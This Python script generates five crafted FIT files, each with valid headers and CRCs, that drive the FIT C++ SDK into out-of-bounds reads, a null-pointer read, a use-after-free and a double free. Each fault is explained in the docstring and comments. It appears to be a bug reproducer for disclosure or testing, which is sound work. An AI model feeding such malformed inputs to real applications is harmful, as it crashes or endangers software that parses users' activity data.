"""Writes five FIT files, valid in their headers, CRCs and structure, each of
which the FIT C++ SDK reads past a buffer, through a null pointer or from
freed memory on:

  short-field.fit       a record's timestamp (field 253, uint32) declared one
                        byte long: FieldBase::GetValue reads four bytes of it
  enum-timestamp.fit    the same timestamp declared four bytes of an enum:
                        GetValue returns the enum's one-byte invalid value
                        read as four bytes
  empty-developer.fit   developer fields of 0, 1 and 0 bytes: at the last,
                        Decode::ReadByte asks for the definition after it,
                        which is null, and reads through it
  old-device.fit        not damaged: compressed_speed_distance among four
                        fields; expanding it frees the field it reads next
  repeated-developer.fit  a record declaring one developer field twice:
                        Mesg::AddDeveloperField assigns the second over the
                        first, the two share a definition, and it is freed
                        twice

    python make_fault_files.py [folder]
"""
import os
import struct
import sys

TABLE = [0x0000, 0xCC01, 0xD801, 0x1400, 0xF001, 0x3C00, 0x2800, 0xE401,
         0xA001, 0x6C00, 0x7800, 0xB401, 0x5000, 0x9C01, 0x8801, 0x4400]


def crc16(data, crc=0):
    """The FIT protocol's CRC, a nibble at a time."""
    for byte in data:
        for nibble in (byte & 0x0F, (byte >> 4) & 0x0F):
            tmp = TABLE[crc & 0x0F]
            crc = (crc >> 4) & 0x0FFF
            crc = crc ^ tmp ^ TABLE[nibble]
    return crc


def fit_file(data):
    """A FIT file around data: the 14-byte header and both CRCs."""
    header = bytes([14, 0x20]) + struct.pack('<H', 2132) + struct.pack('<I', len(data)) + b'.FIT'
    header += struct.pack('<H', crc16(header))
    body = header + data
    return body + struct.pack('<H', crc16(body))


def record_definition(fields, developer=b''):
    """Local message 0 for global message 20 (record), little endian."""
    head = 0x60 if developer else 0x40
    out = bytes([head, 0x00, 0x00]) + struct.pack('<H', 20) + bytes([len(fields)])
    for number, size, base in fields:
        out += bytes([number, size, base])
    return out + developer


FILES = {
    # Field 253 (timestamp) one byte of base type 0x86 (uint32), and that byte.
    'short-field.fit': record_definition([(253, 1, 0x86)]) + bytes([0x00, 0x2A]),
    # Field 253 four bytes of base type 0x00 (enum), each the enum's invalid.
    'enum-timestamp.fit': record_definition([(253, 4, 0x00)]) + bytes([0x00, 0xFF, 0xFF, 0xFF, 0xFF]),
    # A file_id (message 0) of no fields and three developer fields of 0, 1
    # and 0 bytes, one message of the one byte, and the next message's header:
    # the SDK skips the first empty field, then takes that header as the last
    # one's and asks for a fourth definition, which is null.
    'empty-developer.fit': bytes([0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 3,
                                  0, 0, 0, 1, 1, 0, 2, 0, 0]) + bytes([0x00, 0x2A, 0x00]),
    # Not damaged: a record as older devices write it, with
    # compressed_speed_distance (field 8, byte[3]) among four fields. Expanding
    # it adds the speed to the message, which moves its fields, and the
    # distance is then read from the field's freed copy.
    'old-device.fit': record_definition([(253, 4, 0x86), (8, 3, 0x0D), (0, 4, 0x85), (1, 4, 0x85)]) +
                      bytes([0x00]) + (1000000000).to_bytes(4, 'little') + bytes([0x10, 0x32, 0x05]) +
                      (568004608).to_bytes(4, 'little', signed=True) +
                      (-1459148800).to_bytes(4, 'little', signed=True),
    # A timestamp and developer field 0 of developer 0 declared twice, one
    # byte each, and one record. The second is assigned over the first, which
    # copies its definition's pointer; the copy read is then freed, and
    # freed again with the message.
    'repeated-developer.fit': record_definition([(253, 4, 0x86)], bytes([2, 0, 1, 0, 0, 1, 0])) +
                              bytes([0x00]) + (1000000000).to_bytes(4, 'little') + bytes([0x01, 0x02]),
}


if __name__ == '__main__':
    folder = sys.argv[1] if len(sys.argv) > 1 else '.'
    for name, data in FILES.items():
        path = os.path.join(folder, name)
        with open(path, 'wb') as f:
            f.write(fit_file(data))
        print(path)
